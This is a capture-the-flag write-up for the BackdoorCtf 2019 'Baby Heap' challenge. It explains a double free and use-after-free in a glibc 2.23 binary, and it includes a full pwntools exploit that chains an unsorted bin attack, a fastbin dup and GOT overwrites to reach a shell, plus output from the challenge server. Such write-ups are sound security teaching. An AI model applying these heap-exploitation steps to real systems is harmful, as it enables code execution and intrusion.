[Pwn] BackdoorCtf 2019 - Baby Heap

Baby Heap

pwn backdoorctf19

Just another babyheap challenge.

4a2a94e77876565371d12b4a28e09d7d

https://mega.nz/file/a2YHzagS#kgHUvfbbk7Xo2bW97nnIjQYdaMikc27CohnwVn8znJw

nc 51.158.118.84 17001

Flag format: CTF{…}

Created by: Nipun Gupta

Another heap challenge the binary had the following attributes:

1
2
$ file babyheap
babyheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=203fc5be05469491a57e7873624c72ef731ed850, stripped

Checking the security:

1
2
3
4
5
6
7
$ checksec babyheap
[*] '/ctf/work/pwn/babyheap/babyheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

Partial RELRO which means we can actually write at global offset table this simplifies things a bit and also PIE is not enabled so we can access this addresses very easily without a leak.

The libc version is:

1
2
$ strings libc.so.6 | grep 'libc-'
libc-2.23.so

Exploit plan

So for those who want a very fast solution this my exploit plan:

  • Use unsorted bin attack to overwrite the value global_max_fast by doing a 4 bit brute force.
  • Create a fake chunk(0x31) where the saved sizes of malloc are saved (global variables).
  • Use fastbin dup to malloc at the created fake chunk and overwrite a string pointer to atoi got.
  • By using edit we can get an arbitrary write at atoi got, we want to change it to printf so we can leak libc.
  • The program is not broken because printf returns the number of the printed bytes string so we still using the options to edit atoi got to system.
  • Send ‘/bin/sh\x00’ to read and get a shell.

Binary analysis

The first thing we can see right at the beginning is mallopt(1,0);

From linux man pages:

1
2
The mallopt() function adjusts parameters that control the behaviour of the memory-allocation functions (see malloc(3)). 
The param argument specifies the parameter to be modified, and value specifies the new value for that parameter.

The parameter being modified is 1 from the symbols also from linux man pages:

1
2
3
4
5
6
7
/*Symbol            param #   default    allowed param values
M_MXFAST 1 64 0-80 (0 disables fastbins)
M_TRIM_THRESHOLD -1 128*1024 any (-1U disables trimming)
M_TOP_PAD -2 0 any
M_MMAP_THRESHOLD -3 128*1024 any (or 0 if no MMAP support)
M_MMAP_MAX -4 65536 any (0 disables use of mmap)
*/

We know that 1 is M_MXFAST when 0 means fastbins become disabled…

Continuing our analysis we need to look for vulnerabilities, delete function has a double free vulnerability, there is a check at the beginning, but it’s only checking if this index was previously allocated, also another thing to note is that we are limited to 8 free’s, freeLimit_602088 is initialized to 8.

Another vulnerability can be found at edit, as in delete function there’s no check, so we have a UAF vulnerability here:

There’s another limitation to program there’s only 11 slots where the data is saved so we can only use 11 mallocs on our exploit.

Exploit

Modifying global_max_fast

There isn’t a print function so there’s no simple way to leak libc and also we can’t use fastbins because they were disabled, our first approach is to find a way re-enable fastbins.

This can be done if we find a way to modify global_max_fast into a big value, but how do we achieve this, we don’t even have libc to calculate the offset to global_max_fast ?

Well one thing we can is a 4 bit bruteforce, if we free a chunk into an unsortedbin:

That’s how we can find the address of global_max_fast, and why this variable in particular ? Because it controls the max size that malloc interprets a chunk as fastbin, and it’s current value is 10 because of mallopt.

We need to find a way to modify this value into a bigger number, we can do this by using an unsorted bin attack, we need to modify the bk to the address we want to modify minus 0x10.

This is how the exploit looks right now

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def exploit():
global r
r = getConn()

if not args.REMOTE and args.GDB:
debug([0x400a5b,0x400bcc]) # 0x400970


# Unsorted bin attack
add(0,0x20,'A'*0x10)
add(1,0x80,'B'*0x80) # Chunk to free
add(2,0x20,'c'*0x10) #
add(8,0x31,'d'*0x10) # CREATE A FAKE CHUNK HERE

free(1)
edit(1, p64(0x0)+p16(0x67f8-0x10)) # 4 bit brute force
try:
add(3,0x80,'C') # if we don't get an error here and global_max_fast will be modified.
except:
log.failure("not lucky enough!")
r.close()
return False
r.interactive()
return True

while not exploit():
pass

If we are successful we will modify global_max_fast:

Arbitrary write using fastbin dup

We can use fastbin dup now but still we don’t have any leaks, luckily we know that size of each data is being saved at 0x6020e0:

The data pointers to the strings are also saved in a global variable at ptr(0x602120):

This how it looks in memory in gdb:

I created a fake chunk at index 8 with malloc:

1
add(8,0x31,'c'*0x10) # CREATE A FAKE CHUNK HERE

Now we proceed to use fastbin dup to modify the fastbin linked list:

1
2
3
4
5
6
7
8
9
# fastbin dup
free(0)
free(2)
free(0)

edit(0,p64(0x6020f8)) # fake chunk
add(4,0x20,'C')
add(5,0x20,p64(0)+p64(0)+p64(0)+p64(elf.got['atoi']))
edit(0, p64(elf.plt['printf']))

We edited the index 0 string pointer into atoi got, later with this we can modify atoi got into printf gaining a format string vulnerability to leak libc:

1
2
3
4
5
6
s = '%7$s    '
s += p64(elf.got['puts'])
r.sendlineafter("\n4) Exit\n>> ",s)
PUTS = u64(r.recv(0x6).ljust(0x8,'\x00'))
LIBC = PUTS-libc.symbols['puts']
SYSTEM = LIBC+libc.symbols['system']

Finaly after getting system we change again atoi to system and send the /bin/sh string:

1
2
3
4
r.sendlineafter("\n4) Exit\n>> ","AA")
r.sendlineafter("Enter the index:\n", '')
r.sendafter("Please update the data:\n", p64(SYSTEM))
r.send('/bin/sh\x00')

The shell is achieved after this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ python babyheap.py REMOTE
[*] '/ctf/work/pwn/babyheap/babyheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/ctf/work/pwn/babyheap/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 51.158.118.84 on port 17001: Done
[-] not lucky enough!
[*] Closed connection to 51.158.118.84 port 17001
[+] Opening connection to 51.158.118.84 on port 17001: Done
[-] not lucky enough!
.... Truncated......
[+] Opening connection to 51.158.118.84 on port 17001: Done
[-] not lucky enough!
[*] Closed connection to 51.158.118.84 port 17001
[+] Opening connection to 51.158.118.84 on port 17001: Done
[*] LIBC 0x7ffaa87a0000
[*] SYSTEM 0x7ffaa87e5390
[*] Switching to interactive mode
update successful

1) Add data
2) Edit data
3) Remove data
4) Exit
>> $ ls
Dockerfile
babyheap
babyheap.c
beast.toml
flag.txt
post-build.sh
public
setup.sh
$ cat flag.txt
....hiddenFlag....

The full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
host, port = "51.158.118.84", "17001"
filename = "./babyheap"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc
else:
libc = ELF('./libc-2.23.so')

def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp):
script = ""
PIE = get_PIE(r)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(x)
gdb.attach(r,gdbscript=script)

def add(index, size, data):
r.sendlineafter("\n4) Exit\n>> ",'1')
r.sendlineafter("Enter the index:\n", str(index))
r.sendlineafter("Enter the size:\n", str(size))
r.sendafter("Enter data:\n", data)

def edit(index, data):
r.sendlineafter("\n4) Exit\n>> ",'2')
r.sendlineafter("Enter the index:\n", str(index))
r.sendafter("Please update the data:\n", data)

def free(index):
r.sendlineafter("\n4) Exit\n>> ",'3')
r.sendlineafter("Enter the index:\n", str(index))

context.terminal = ['tmux', 'new-window']

def exploit():
global r
r = getConn()


# Unsorted bin attack
add(0,0x20,'A'*0x10)
add(1,0x80,'B'*0x80) # Chunk to free
add(2,0x20,'c'*0x10) #
add(8,0x31,'c'*0x10) # CREATE A FAKE CHUNK HERE

free(1)
edit(1, p64(0x0)+p16(0x67f8-0x10)) # 4 bit brute force
try:
add(3,0x80,'C') # if we don't get an error here and global_max_fast will be modified to a very big number

# fastbin dup
free(0)
free(2)
free(0)
if not args.REMOTE and args.GDB:
debug([0x400a5b,0x400bcc]) # 0x400970

edit(0,p64(0x6020f8)) # fake chunk
add(4,0x20,'C')
add(5,0x20,p64(0)+p64(0)+p64(0)+p64(elf.got['atoi']))
edit(0, p64(elf.plt['printf']))

s = '%7$s '
s += p64(elf.got['puts'])
r.sendlineafter("\n4) Exit\n>> ",
s)
PUTS = u64(r.recv(0x6).ljust(0x8,'\x00'))
LIBC = PUTS-libc.symbols['puts']
SYSTEM = LIBC+libc.symbols['system']

log.info("LIBC 0x%x"%LIBC)
log.info("SYSTEM 0x%x"%SYSTEM)
r.sendlineafter("\n4) Exit\n>> ","AA")
r.sendlineafter("Enter the index:\n", '')
r.sendafter("Please update the data:\n", p64(SYSTEM)) # changes atoi for system
r.send('/bin/sh\x00') # system("/bin/sh\x00")
except:
log.failure("not lucky enough!")
r.close()
return False

r.interactive()
r.close()
return True
#exploit()
while not exploit():
pass